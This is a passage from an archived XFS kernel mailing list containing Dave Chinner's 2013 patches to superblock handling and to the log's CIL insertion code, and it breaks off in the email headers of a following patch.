to->sb_inopblock = be16_to_cpu(from->sb_inopblock); + memcpy(&to->sb_fname, &from->sb_fname, sizeof(to->sb_fname)); + to->sb_blocklog = from->sb_blocklog; + to->sb_sectlog = from->sb_sectlog; + to->sb_inodelog = from->sb_inodelog; + to->sb_inopblog = from->sb_inopblog; + to->sb_agblklog = from->sb_agblklog; + to->sb_rextslog = from->sb_rextslog; + to->sb_inprogress = from->sb_inprogress; + to->sb_imax_pct = from->sb_imax_pct; + to->sb_icount = be64_to_cpu(from->sb_icount); + to->sb_ifree = be64_to_cpu(from->sb_ifree); + to->sb_fdblocks = be64_to_cpu(from->sb_fdblocks); + to->sb_frextents = be64_to_cpu(from->sb_frextents); + to->sb_uquotino = be64_to_cpu(from->sb_uquotino); + to->sb_gquotino = be64_to_cpu(from->sb_gquotino); + to->sb_qflags = be16_to_cpu(from->sb_qflags); + to->sb_flags = from->sb_flags; + to->sb_shared_vn = from->sb_shared_vn; + to->sb_inoalignmt = be32_to_cpu(from->sb_inoalignmt); + to->sb_unit = be32_to_cpu(from->sb_unit); + to->sb_width = be32_to_cpu(from->sb_width); + to->sb_dirblklog = from->sb_dirblklog; + to->sb_logsectlog = from->sb_logsectlog; + to->sb_logsectsize = be16_to_cpu(from->sb_logsectsize); + to->sb_logsunit = be32_to_cpu(from->sb_logsunit); + to->sb_features2 = be32_to_cpu(from->sb_features2); + to->sb_bad_features2 = be32_to_cpu(from->sb_bad_features2); + to->sb_features_compat = be32_to_cpu(from->sb_features_compat); + to->sb_features_ro_compat = be32_to_cpu(from->sb_features_ro_compat); + to->sb_features_incompat = be32_to_cpu(from->sb_features_incompat); + to->sb_features_log_incompat = + be32_to_cpu(from->sb_features_log_incompat); + to->sb_pad = 0; + to->sb_pquotino = be64_to_cpu(from->sb_pquotino); + to->sb_lsn = be64_to_cpu(from->sb_lsn); +} + +static void +xfs_sb_quota_to_disk( + xfs_dsb_t *to, + xfs_sb_t *from, + __int64_t *fields) +{ + __uint16_t qflags = from->sb_qflags; + + if (*fields & XFS_SB_QFLAGS) { + /* + * The in-core version of sb_qflags do not have + * XFS_OQUOTA_* flags, whereas the on-disk version + * does. So, convert incore XFS_{PG}QUOTA_* flags + * to on-disk XFS_OQUOTA_* flags. + */ + qflags &= ~(XFS_PQUOTA_ENFD | XFS_PQUOTA_CHKD | + XFS_GQUOTA_ENFD | XFS_GQUOTA_CHKD); + + if (from->sb_qflags & + (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD)) + qflags |= XFS_OQUOTA_ENFD; + if (from->sb_qflags & + (XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD)) + qflags |= XFS_OQUOTA_CHKD; + to->sb_qflags = cpu_to_be16(qflags); + *fields &= ~XFS_SB_QFLAGS; + } +} + +/* + * Copy in core superblock to ondisk one. + * + * The fields argument is mask of superblock fields to copy. + */ +void +xfs_sb_to_disk( + xfs_dsb_t *to, + xfs_sb_t *from, + __int64_t fields) +{ + xfs_caddr_t to_ptr = (xfs_caddr_t)to; + xfs_caddr_t from_ptr = (xfs_caddr_t)from; + xfs_sb_field_t f; + int first; + int size; + + ASSERT(fields); + if (!fields) + return; + + xfs_sb_quota_to_disk(to, from, &fields); + while (fields) { + f = (xfs_sb_field_t)xfs_lowbit64((__uint64_t)fields); + first = xfs_sb_info[f].offset; + size = xfs_sb_info[f + 1].offset - first; + + ASSERT(xfs_sb_info[f].type == 0 || xfs_sb_info[f].type == 1); + + if (size == 1 || xfs_sb_info[f].type == 1) { + memcpy(to_ptr + first, from_ptr + first, size); + } else { + switch (size) { + case 2: + *(__be16 *)(to_ptr + first) = + cpu_to_be16(*(__u16 *)(from_ptr + first)); + break; + case 4: + *(__be32 *)(to_ptr + first) = + cpu_to_be32(*(__u32 *)(from_ptr + first)); + break; + case 8: + *(__be64 *)(to_ptr + first) = + cpu_to_be64(*(__u64 *)(from_ptr + first)); + break; + default: + ASSERT(0); + } + } + + fields &= ~(1LL << f); + } +} + +static int +xfs_sb_verify( + struct xfs_buf *bp, + bool check_version) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_sb sb; + + xfs_sb_from_disk(&sb, XFS_BUF_TO_SBP(bp)); + + /* + * Only check the in progress field for the primary superblock as + * mkfs.xfs doesn't clear it from secondary superblocks. + */ + return xfs_mount_validate_sb(mp, &sb, bp->b_bn == XFS_SB_DADDR, + check_version); +} + +/* + * If the superblock has the CRC feature bit set or the CRC field is non-null, + * check that the CRC is valid. We check the CRC field is non-null because a + * single bit error could clear the feature bit and unused parts of the + * superblock are supposed to be zero. Hence a non-null crc field indicates that + * we've potentially lost a feature bit and we should check it anyway. + */ +static void +xfs_sb_read_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_dsb *dsb = XFS_BUF_TO_SBP(bp); + int error; + + /* + * open code the version check to avoid needing to convert the entire + * superblock from disk order just to check the version number + */ + if (dsb->sb_magicnum == cpu_to_be32(XFS_SB_MAGIC) && + (((be16_to_cpu(dsb->sb_versionnum) & XFS_SB_VERSION_NUMBITS) == + XFS_SB_VERSION_5) || + dsb->sb_crc != 0)) { + + if (!xfs_verify_cksum(bp->b_addr, be16_to_cpu(dsb->sb_sectsize), + offsetof(struct xfs_sb, sb_crc))) { + error = EFSCORRUPTED; + goto out_error; + } + } + error = xfs_sb_verify(bp, true); + +out_error: + if (error) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, error); + } +} + +/* + * We may be probed for a filesystem match, so we may not want to emit + * messages when the superblock buffer is not actually an XFS superblock. + * If we find an XFS superblock, the run a normal, noisy mount because we are + * really going to mount it and want to know about errors. + */ +static void +xfs_sb_quiet_read_verify( + struct xfs_buf *bp) +{ + struct xfs_dsb *dsb = XFS_BUF_TO_SBP(bp); + + + if (dsb->sb_magicnum == cpu_to_be32(XFS_SB_MAGIC)) { + /* XFS filesystem, verify noisily! */ + xfs_sb_read_verify(bp); + return; + } + /* quietly fail */ + xfs_buf_ioerror(bp, EWRONGFS); +} + +static void +xfs_sb_write_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_buf_log_item *bip = bp->b_fspriv; + int error; + + error = xfs_sb_verify(bp, false); + if (error) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, error); + return; + } + + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return; + + if (bip) + XFS_BUF_TO_SBP(bp)->sb_lsn = cpu_to_be64(bip->bli_item.li_lsn); + + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), + offsetof(struct xfs_sb, sb_crc)); +} + +const struct xfs_buf_ops xfs_sb_buf_ops = { + .verify_read = xfs_sb_read_verify, + .verify_write = xfs_sb_write_verify, +}; + +const struct xfs_buf_ops xfs_sb_quiet_buf_ops = { + .verify_read = xfs_sb_quiet_read_verify, + .verify_write = xfs_sb_write_verify, +}; + +/* + * xfs_mount_common + * + * Mount initialization code establishing various mount + * fields from the superblock associated with the given + * mount structure + */ +void +xfs_sb_mount_common( + struct xfs_mount *mp, + struct xfs_sb *sbp) +{ + mp->m_agfrotor = mp->m_agirotor = 0; + spin_lock_init(&mp->m_agirotor_lock); + mp->m_maxagi = mp->m_sb.sb_agcount; + mp->m_blkbit_log = sbp->sb_blocklog + XFS_NBBYLOG; + mp->m_blkbb_log = sbp->sb_blocklog - BBSHIFT; + mp->m_sectbb_log = sbp->sb_sectlog - BBSHIFT; + mp->m_agno_log = xfs_highbit32(sbp->sb_agcount - 1) + 1; + mp->m_agino_log = sbp->sb_inopblog + sbp->sb_agblklog; + mp->m_blockmask = sbp->sb_blocksize - 1; + mp->m_blockwsize = sbp->sb_blocksize >> XFS_WORDLOG; + mp->m_blockwmask = mp->m_blockwsize - 1; + + mp->m_alloc_mxr[0] = xfs_allocbt_maxrecs(mp, sbp->sb_blocksize, 1); + mp->m_alloc_mxr[1] = xfs_allocbt_maxrecs(mp, sbp->sb_blocksize, 0); + mp->m_alloc_mnr[0] = mp->m_alloc_mxr[0] / 2; + mp->m_alloc_mnr[1] = mp->m_alloc_mxr[1] / 2; + + mp->m_inobt_mxr[0] = xfs_inobt_maxrecs(mp, sbp->sb_blocksize, 1); + mp->m_inobt_mxr[1] = xfs_inobt_maxrecs(mp, sbp->sb_blocksize, 0); + mp->m_inobt_mnr[0] = mp->m_inobt_mxr[0] / 2; + mp->m_inobt_mnr[1] = mp->m_inobt_mxr[1] / 2; + + mp->m_bmap_dmxr[0] = xfs_bmbt_maxrecs(mp, sbp->sb_blocksize, 1); + mp->m_bmap_dmxr[1] = xfs_bmbt_maxrecs(mp, sbp->sb_blocksize, 0); + mp->m_bmap_dmnr[0] = mp->m_bmap_dmxr[0] / 2; + mp->m_bmap_dmnr[1] = mp->m_bmap_dmxr[1] / 2; + + mp->m_bsize = XFS_FSB_TO_BB(mp, 1); + mp->m_ialloc_inos = (int)MAX((__uint16_t)XFS_INODES_PER_CHUNK, + sbp->sb_inopblock); + mp->m_ialloc_blks = mp->m_ialloc_inos >> sbp->sb_inopblog; +} + +/* + * xfs_initialize_perag_data + * + * Read in each per-ag structure so we can count up the number of + * allocated inodes, free inodes and used filesystem blocks as this + * information is no longer persistent in the superblock. Once we have + * this information, write it into the in-core superblock structure. + */ +int +xfs_initialize_perag_data( + struct xfs_mount *mp, + xfs_agnumber_t agcount) +{ + xfs_agnumber_t index; + xfs_perag_t *pag; + xfs_sb_t *sbp = &mp->m_sb; + uint64_t ifree = 0; + uint64_t ialloc = 0; + uint64_t bfree = 0; + uint64_t bfreelst = 0; + uint64_t btree = 0; + int error; + + for (index = 0; index < agcount; index++) { + /* + * read the agf, then the agi. This gets us + * all the information we need and populates the + * per-ag structures for us. + */ + error = xfs_alloc_pagf_init(mp, NULL, index, 0); + if (error) + return error; + + error = xfs_ialloc_pagi_init(mp, NULL, index); + if (error) + return error; + pag = xfs_perag_get(mp, index); + ifree += pag->pagi_freecount; + ialloc += pag->pagi_count; + bfree += pag->pagf_freeblks; + bfreelst += pag->pagf_flcount; + btree += pag->pagf_btreeblks; + xfs_perag_put(pag); + } + /* + * Overwrite incore superblock counters with just-read data + */ + spin_lock(&mp->m_sb_lock); + sbp->sb_ifree = ifree; + sbp->sb_icount = ialloc; + sbp->sb_fdblocks = bfree + bfreelst + btree; + spin_unlock(&mp->m_sb_lock); + + /* Fixup the per-cpu counters as well. */ + xfs_icsb_reinit_counters(mp); + + return 0; +} + +/* + * xfs_mod_sb() can be used to copy arbitrary changes to the + * in-core superblock into the superblock buffer to be logged. + * It does not provide the higher level of locking that is + * needed to protect the in-core superblock from concurrent + * access. + */ +void +xfs_mod_sb(xfs_trans_t *tp, __int64_t fields) +{ + xfs_buf_t *bp; + int first; + int last; + xfs_mount_t *mp; + xfs_sb_field_t f; + + ASSERT(fields); + if (!fields) + return; + mp = tp->t_mountp; + bp = xfs_trans_getsb(tp, mp, 0); + first = sizeof(xfs_sb_t); + last = 0; + + /* translate/copy */ + + xfs_sb_to_disk(XFS_BUF_TO_SBP(bp), &mp->m_sb, fields); + + /* find modified range */ + f = (xfs_sb_field_t)xfs_highbit64((__uint64_t)fields); + ASSERT((1LL << f) & XFS_SB_MOD_BITS); + last = xfs_sb_info[f + 1].offset - 1; + + f = (xfs_sb_field_t)xfs_lowbit64((__uint64_t)fields); + ASSERT((1LL << f) & XFS_SB_MOD_BITS); + first = xfs_sb_info[f].offset; + + xfs_trans_buf_set_type(tp, bp, XFS_BLFT_SB_BUF); + xfs_trans_log_buf(tp, bp, first, last); +} diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h index 030f131..dea0373 100644 --- a/fs/xfs/xfs_sb.h +++ b/fs/xfs/xfs_sb.h @@ -26,6 +26,7 @@ struct xfs_buf; struct xfs_mount; +struct xfs_trans; #define XFS_SB_MAGIC 0x58465342 /* 'XFSB' */ #define XFS_SB_VERSION_1 1 /* 5.3, 6.0.1, 6.1 */ @@ -667,4 +668,23 @@ xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) #define XFS_B_TO_FSBT(mp,b) (((__uint64_t)(b)) >> (mp)->m_sb.sb_blocklog) #define XFS_B_FSB_OFFSET(mp,b) ((b) & (mp)->m_blockmask) +/* + * perag get/put wrappers for ref counting + */ +extern struct xfs_perag *xfs_perag_get(struct xfs_mount *, xfs_agnumber_t); +extern struct xfs_perag *xfs_perag_get_tag(struct xfs_mount *, xfs_agnumber_t, + int tag); +extern void xfs_perag_put(struct xfs_perag *pag); +extern int xfs_initialize_perag_data(struct xfs_mount *, xfs_agnumber_t); + +extern void xfs_sb_calc_crc(struct xfs_buf *); +extern void xfs_mod_sb(struct xfs_trans *, __int64_t); +extern void xfs_sb_mount_common(struct xfs_mount *, struct xfs_sb *); +extern void xfs_sb_from_disk(struct xfs_sb *, struct xfs_dsb *); +extern void xfs_sb_to_disk(struct xfs_dsb *, struct xfs_sb *, __int64_t); +extern void xfs_sb_quota_from_disk(struct xfs_sb *sbp); + +extern const struct xfs_buf_ops xfs_sb_buf_ops; +extern const struct xfs_buf_ops xfs_sb_quiet_buf_ops; + #endif /* __XFS_SB_H__ */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 038B37FC0 for ; Fri, 19 Jul 2013 01:25:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id BD7158F8033 for ; Thu, 18 Jul 2013 23:25:57 -0700 (PDT) X-ASG-Debug-ID: 1374215134-04bdf0245d189c5000c-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id ykZ7TToY7w1iMhCt for ; Thu, 18 Jul 2013 23:25:55 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGBgZOQMbEAmID7YvjmcLgS6DcgOpKoMkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:47 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048a-Gv for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-00020l-F5 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 46/49] xfs: Combine CIL insert and prepare passes Date: Fri, 19 Jul 2013 16:25:17 +1000 X-ASG-Orig-Subj: [PATCH 46/49] xfs: Combine CIL insert and prepare passes Message-Id: <1374215120-7271-47-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215155 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e From: Dave Chinner Now that all the log item preparation and formatting is done under the CIL lock, we can get rid of the intermediate log vector chain used to track items to be inserted into the CIL. We can already find all the items to be committed from the transaction handle, so as long as we attach the log vectors to the item before we insert the items into the CIL, we don't need to create a log vector chain to pass around. This means we can move all the item insertion code into and optimise it into a pair of simple passes across all the items in the transaction. The first pass does the formatting and accounting, the second inserts them all into the CIL. We keep this two pass split so that we can separate the CIL insertion - which must be done under the CIL spinlock - from the formatting. We could insert each item into the CIL with a single pass, but that massively increases the number of times we have to grab the CIL spinlock. It is much more efficient (and hence scalable) to do a batch operation and insert all objects in a single lock grab. Signed-off-by: Dave Chinner --- fs/xfs/xfs_log_cil.c | 225 ++++++++++++++++++++++----------------------------- 1 file changed, 97 insertions(+), 128 deletions(-) diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c index 76ae7d8..391cb011 100644 --- a/fs/xfs/xfs_log_cil.c +++ b/fs/xfs/xfs_log_cil.c @@ -110,6 +110,52 @@ xlog_cil_lv_item_format( } /* + * Prepare the log item for insertion into the CIL. Calculate the difference in + * log space and vectors it will consume, and if it is a new item pin it as + * well. + */ +STATIC void +xfs_cil_prepare_item( + struct xlog *log, + struct xfs_log_vec *lv, + struct xfs_log_vec *old_lv, + int *diff_len, + int *diff_iovecs) +{ + if (!old_lv) { + /* new lv, must pin the log item */ + ASSERT(!lv->lv_item->li_lv); + + if (lv->lv_buf_len != XFS_LOG_VEC_ORDERED) { + *diff_len += lv->lv_buf_len; + *diff_iovecs += lv->lv_niovecs; + } + lv->lv_item->li_ops->iop_pin(lv->lv_item); + + } else { + /* existing lv on log item, space used is a delta */ + ASSERT(old_lv->lv_buf_len != lv->lv_buf_len || + old_lv->lv_niovecs != lv->lv_niovecs); + ASSERT(lv->lv_buf_len != XFS_LOG_VEC_ORDERED); + + *diff_len += lv->lv_buf_len - old_lv->lv_buf_len; + *diff_iovecs += lv->lv_niovecs - old_lv->lv_niovecs; + } + + /* attach new log vector to log item */ + lv->lv_item->li_lv = lv; + + /* + * If this is the first time the item is being committed to the + * CIL, store the sequence number on the log item so we can + * tell in future commits whether this is the first checkpoint + * the item is being committed into. + */ + if (!lv->lv_item->li_seq) + lv->lv_item->li_seq = log->l_cilp->xc_ctx->sequence; +} + +/* * Format log item into a flat buffers * * For delayed logging, we need to hold a formatted buffer containing all the @@ -135,24 +181,26 @@ xlog_cil_lv_item_format( * format the regions into the iclog as though they are being formatted * directly out of the objects themselves. */ -static struct xfs_log_vec * -xlog_cil_prepare_log_vecs( - struct xfs_trans *tp) +static void +xlog_cil_insert_format_items( + struct xlog *log, + struct xfs_trans *tp, + int *diff_len, + int *diff_iovecs) { struct xfs_log_item_desc *lidp; - struct xfs_log_vec *prev_lv = NULL; - struct xfs_log_vec *ret_lv = NULL; /* Bail out if we didn't find a log item. */ if (list_empty(&tp->t_items)) { ASSERT(0); - return NULL; + return; } list_for_each_entry(lidp, &tp->t_items, lid_trans) { struct xfs_log_item *lip = lidp->lid_item; struct xfs_log_vec *lv; + struct xfs_log_vec *old_lv; int niovecs = 0; int nbytes = 0; int buf_size; @@ -191,14 +239,17 @@ xlog_cil_prepare_log_vecs( lv->lv_next = NULL; if (ordered) - goto insert; + continue; /* Ensure the lv is set up according to ->iop_size */ + *diff_iovecs += niovecs - lv->lv_niovecs; + *diff_len += nbytes - lv->lv_buf_len; + lv->lv_niovecs = niovecs; lv->lv_buf = (char *)lv + buf_size - nbytes; lv->lv_buf_len = nbytes; xlog_cil_lv_item_format(lip, lv); - goto insert; + continue; } /* allocate new data chunk */ @@ -222,74 +273,13 @@ xlog_cil_prepare_log_vecs( xlog_cil_lv_item_format(lip, lv); insert: - if (!ret_lv) - ret_lv = lv; - else - prev_lv->lv_next = lv; - prev_lv = lv; - } - - return ret_lv; -} - -/* - * Prepare the log item for insertion into the CIL. Calculate the difference in - * log space and vectors it will consume, and if it is a new item pin it as - * well. - */ -STATIC void -xfs_cil_prepare_item( - struct xlog *log, - struct xfs_log_vec *lv, - int *len, - int *diff_iovecs) -{ - struct xfs_log_vec *old = lv->lv_item->li_lv; + /* update new CIL space usage */ + old_lv = lip->li_lv; + xfs_cil_prepare_item(log, lv, old_lv, diff_len, diff_iovecs); - if (!old) { - /* new lv, must pin the log item */ - ASSERT(!lv->lv_item->li_lv); - - if (lv->lv_buf_len != XFS_LOG_VEC_ORDERED) { - *len += lv->lv_buf_len; - *diff_iovecs += lv->lv_niovecs; - } - lv->lv_item->li_ops->iop_pin(lv->lv_item); - - } else if (old != lv) { - /* existing lv on log item, space used is a delta */ - ASSERT((old->lv_buf && old->lv_buf_len && old->lv_niovecs) || - old->lv_buf_len == XFS_LOG_VEC_ORDERED); - - /* - * If the new item is ordered, keep the old one that is already - * tracking dirty or ordered regions - */ - if (lv->lv_buf_len == XFS_LOG_VEC_ORDERED) { - ASSERT(!lv->lv_buf); - kmem_free(lv); - return; - } - - *len += lv->lv_buf_len - old->lv_buf_len; - *diff_iovecs += lv->lv_niovecs - old->lv_niovecs; - kmem_free(old); - } else { - /* re-used lv */ - /* XXX: can't account for len/diff_iovecs yet */ + /* free old lv */ + kmem_free(old_lv); } - - /* attach new log vector to log item */ - lv->lv_item->li_lv = lv; - - /* - * If this is the first time the item is being committed to the - * CIL, store the sequence number on the log item so we can - * tell in future commits whether this is the first checkpoint - * the item is being committed into. - */ - if (!lv->lv_item->li_seq) - lv->lv_item->li_seq = log->l_cilp->xc_ctx->sequence; } /* @@ -302,53 +292,47 @@ xfs_cil_prepare_item( static void xlog_cil_insert_items( struct xlog *log, - struct xfs_log_vec *log_vector, - struct xlog_ticket *ticket) + struct xfs_trans *tp) { struct xfs_cil *cil = log->l_cilp; struct xfs_cil_ctx *ctx = cil->xc_ctx; - struct xfs_log_vec *lv; + struct xfs_log_item_desc *lidp; int len = 0; int diff_iovecs = 0; int iclog_space; - ASSERT(log_vector); + ASSERT(tp); /* - * Do all the accounting aggregation and switching of log vectors - * around in a separate loop to the insertion of items into the CIL. - * Then we can do a separate loop to update the CIL within a single - * lock/unlock pair. This reduces the number of round trips on the CIL - * lock from O(nr_logvectors) to O(1) and greatly reduces the overall - * hold time for the transaction commit. - * - * If this is the first time the item is being placed into the CIL in - * this context, pin it so it can't be written to disk until the CIL is - * flushed to the iclog and the iclog written to disk. - * * We can do this safely because the context can't checkpoint until we * are done so it doesn't matter exactly how we update the CIL. */ + xlog_cil_insert_format_items(log, tp, &len, &diff_iovecs); + + /* + * Now (re-)position everything modified at the tail of the CIL. + * We do this here so we only need to take the CIL lock once during + * the transaction commit. + */ spin_lock(&cil->xc_cil_lock); - for (lv = log_vector; lv; ) { - struct xfs_log_vec *next = lv->lv_next; + list_for_each_entry(lidp, &tp->t_items, lid_trans) { + struct xfs_log_item *lip = lidp->lid_item; - ASSERT(lv->lv_item->li_lv || list_empty(&lv->lv_item->li_cil)); - lv->lv_next = NULL; + /* Skip items which aren't dirty in this transaction. */ + if (!(lidp->lid_flags & XFS_LID_DIRTY)) + continue; - /* - * xfs_cil_prepare_item() may free the lv, so move the item on - * the CIL first. - */ - list_move_tail(&lv->lv_item->li_cil, &cil->xc_cil); - xfs_cil_prepare_item(log, lv, &len, &diff_iovecs); - lv = next; + list_move_tail(&lip->li_cil, &cil->xc_cil); } /* account for space used by new iovec headers */ len += diff_iovecs * sizeof(xlog_op_header_t); ctx->nvecs += diff_iovecs; + /* attach the transaction to the CIL if it has any busy extents */ + if (!list_empty(&tp->t_busy)) + list_splice_init(&tp->t_busy, &ctx->busy_extents); + /* * Now transfer enough transaction reservation to the context ticket * for the checkpoint. The context ticket is special - the unit @@ -357,10 +341,8 @@ xlog_cil_insert_items( * during the transaction commit. */ if (ctx->ticket->t_curr_res == 0) { - /* first commit in checkpoint, steal the header reservation */ - ASSERT(ticket->t_curr_res >= ctx->ticket->t_unit_res + len); ctx->ticket->t_curr_res = ctx->ticket->t_unit_res; - ticket->t_curr_res -= ctx->ticket->t_unit_res; + tp->t_ticket->t_curr_res -= ctx->ticket->t_unit_res; } /* do we need space for more log record headers? */ @@ -374,10 +356,10 @@ xlog_cil_insert_items( hdrs *= log->l_iclog_hsize + sizeof(struct xlog_op_header); ctx->ticket->t_unit_res += hdrs; ctx->ticket->t_curr_res += hdrs; - ticket->t_curr_res -= hdrs; - ASSERT(ticket->t_curr_res >= len); + tp->t_ticket->t_curr_res -= hdrs; + ASSERT(tp->t_ticket->t_curr_res >= len); } - ticket->t_curr_res -= len; + tp->t_ticket->t_curr_res -= len; ctx->space_used += len; spin_unlock(&cil->xc_cil_lock); @@ -746,38 +728,25 @@ xfs_log_commit_cil( int flags) { struct xlog *log = mp->m_log; + struct xfs_cil *cil = log->l_cilp; int log_flags = 0; - struct xfs_log_vec *log_vector; if (flags & XFS_TRANS_RELEASE_LOG_RES) log_flags = XFS_LOG_REL_PERM_RESERV; /* lock out background commit */ - down_read(&log->l_cilp->xc_ctx_lock); + down_read(&cil->xc_ctx_lock); - log_vector = xlog_cil_prepare_log_vecs(tp); - if (!log_vector) - return ENOMEM; - - if (commit_lsn) - *commit_lsn = log->l_cilp->xc_ctx->sequence; - - /* xlog_cil_insert_items() destroys log_vector list */ - xlog_cil_insert_items(log, log_vector, tp->t_ticket); + xlog_cil_insert_items(log, tp); /* check we didn't blow the reservation */ if (tp->t_ticket->t_curr_res < 0) - xlog_print_tic_res(log->l_mp, tp->t_ticket); + xlog_print_tic_res(mp, tp->t_ticket); - /* attach the transaction to the CIL if it has any busy extents */ - if (!list_empty(&tp->t_busy)) { - spin_lock(&log->l_cilp->xc_cil_lock); - list_splice_init(&tp->t_busy, - &log->l_cilp->xc_ctx->busy_extents); - spin_unlock(&log->l_cilp->xc_cil_lock); - } + tp->t_commit_lsn = cil->xc_ctx->sequence; + if (commit_lsn) + *commit_lsn = tp->t_commit_lsn; - tp->t_commit_lsn = *commit_lsn; xfs_log_done(mp, tp->t_ticket, NULL, log_flags); xfs_trans_unreserve_and_mod_sb(tp); @@ -792,11 +761,11 @@ xfs_log_commit_cil( * the log items. This affects (at least) processing of stale buffers, * inodes and EFIs. */ - xfs_trans_free_items(tp, *commit_lsn, 0); + xfs_trans_free_items(tp, tp->t_commit_lsn, 0); xlog_cil_push_background(log); - up_read(&log->l_cilp->xc_ctx_lock); + up_read(&cil->xc_ctx_lock); return 0; } -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 896DB7FC1 for ; Fri, 19 Jul 2013 01:25:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id EB4408F8035 for ; Thu, 18 Jul 2013 23:25:58 -0700 (PDT) X-ASG-Debug-ID: 1374215130-04cbb04690117c02000e-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id TKAhGVYWMpcBVuW7 for ; Thu, 18 Jul 2013 23:25:56 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ar4LAB3b6FF5LK4r/2dsb2JhbABagwauOpMMBAGBFRd0giQBAQUnLzMIGBgZOQMbGYgPti+OSyeBEhyDcgOhf4crgyQqgSwCHgY Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:48 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048y-Ek for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-000203-CB for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 41/49] xfs: Add xfs_log_rlimit.c Date: Fri, 19 Jul 2013 16:25:12 +1000 X-ASG-Orig-Subj: [PATCH 41/49] xfs: Add xfs_log_rlimit.c Message-Id: <1374215120-7271-42-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215156 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= 